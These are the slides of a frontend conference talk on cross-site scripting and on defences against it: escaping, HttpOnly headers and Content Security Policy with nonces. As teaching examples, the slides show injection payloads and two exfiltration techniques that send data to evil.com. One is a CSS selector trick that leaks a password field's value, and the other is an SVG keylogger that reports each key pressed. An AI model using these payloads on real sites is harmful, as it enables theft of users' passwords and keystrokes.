XSS Wars. The Force Awakens

Dashukevich Vladimir

{
Theme: XSS Wars. The Force Awakens,
Speaker: Dashukevich Vladimir,
Company: XBSoftware,
Comunity: 4frontby,
Conference: Frontend Union Conf
}

Plan:

What does XSS mean?

Cross Site Scripting

XSS attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites

The Open Web Application Security Project

XSS attack is, when someone runs its sh**ty code inside our perfect Web Apps

Vladimir Dashukevich

How does it look like?

Stored (Persistent)

Reflected

Stored XSS attacks

Reflected XSS attacks

How can it be dangerous?

Just make a user send the same request

POST or GET

https://you.site?param1=some_value&
run=<script>alert(1)</script>

How can it be dangerous?

XSS effects

How to make a user run a script

Simple template

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>
			

Simple template

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>
			

Simple template

				<div style='{{css}}'>
				    <input value='' onmouseover='alert(1)'>
				    Hello, {{title}}
				    {{image}}
				</div>
			

Done! Simple)))

Simple template

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>
			

Simple template

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, <img src='a.png' onerror='alert(1)'>
				    {{image}}
				</div>
			

Why always me?))

Simple template

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>
			

His CSS to help you with UX))

evil.css

Can I steel something?

				<input type='password' id='hi' value='abcd'>
			
				#hi[value^="a"] {
				   background-color: url(//evil.com/?v=a);
				}
				#hi[value^="b"] {
				   background-color: url(//evil.com/?v=b);
				}
			

example

Or even worse?

Simple template

				<div style='{{css}}'>
				    <input value='{{value}}'>
				    Hello, {{title}}
				    {{image}}
				</div>
			

Keylogger with image

<set> in <svg>

SVG image

				<defs>
				    <path id='example' d="...">
				</defs>
				<use xlink:href="#example" visibility="hidden">
					  <set begin="0s" end="1s" 
					      attributeName="visibility" to="visible">
				</use>
			

SVG image

				<defs>
				    <path id='example' d="...">
				</defs>
				<use xlink:href="#example" visibility="hidden">
					  <set begin="accessKey(a)" 
					      attributeName="xlink:href" to="//evil.com/?a">
				
				</use>
			

SVG image

				<set begin="accessKey(a)" attributeName="xlink:href"
				        to="//evil.com/?a">
				<set begin="accessKey(b)" attributeName="xlink:href"
				        to="//evil.com/?b">
				...
				<set begin="accessKey(x)" attributeName="xlink:href"
				        to="//evil.com/?x">
			

example

Scary?

What is a browser?

What is outside the browser?

Why are they bad?

Why are they good?

Summary

How can you protect yourself?

Avoid adding HTML as a string

Dangerous code

Safe code

Dangerous code

Solutions

Escaping everything

				str.replace(/&/g, '&amp;')
				   .replace(/"/g, '&quot;')
				   .replace(/'/g, '&#39;')
				   .replace(/</g, '&lt;')
				   .replace(/>/g, '&gt;');
			

Sanitizer

Some HTTP headers

Headers

HttpOnly provides you with:

What about iframes?

Solutions

Content Security Policy

History

HTTP header again

Headers

Policies

				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri https://mysite.com/report;
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' 'unsafe-inline' 'unsafe-eval';
				   report-uri /report?report=true;
			

How it works?

				<script src="//evel.com/steel.js"></script>
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;
			
				<script src="//evel.com/steel.js"></script>
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://script.com;
				   report-uri /report?report=true;
			
				{
				   "csp-report": {
				      "document-uri": "https://mysite.com/cats",
				      "referrer": "https://evel.com",
				      "blocked-uri": "https://evil.com/steel.js" ,
				      "violated-directive": "script-src 'self' https://script.com;",
				      "original-policy": ** all policy **
				   }
				}
			
				<img src="https://my.google.com/cat.png">
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;
			
				<img src="https://my.google.com/cat.png">
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;
			
				https://mysite.com/fontello.woff
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;
			
				https://mysite.com/fontello.woff
			
				Content-Security-Policy:
				   default-src 'none';
				   frame-src mysite.com;
				   img-src 'self' *.google.com;
				   script-src 'self' https://mysite.com;
				   report-uri /report?report=true;
			

Can something be better?

Content Security Policy v2

Features

'Sign' safe script

				<script>
				   alert("Hello world")
				</script>
			
				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;
			
				<script>
				   alert("Hello world")
				</script>
			
				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;
			
				<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
				   alert("Hello world")
				</script>
			
				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;
			
				<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
				   alert("Hello world")
				</script>
			
				Content-Security-Policy:
				   script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3';
				   report-uri /report?report=true;
			

Summary

How to catch XSS

Examples

And one more thing...

The trust of your customers is priceless

I want to give you my private date

Links

  1. HTTP headers
  2. XSS through CSS (video)
  3. Types of XSS
  4. Other examples of XSS
  5. Other examples 2 (ru)

Questions

Facebook: dashukevich.vova
Twitter: life__777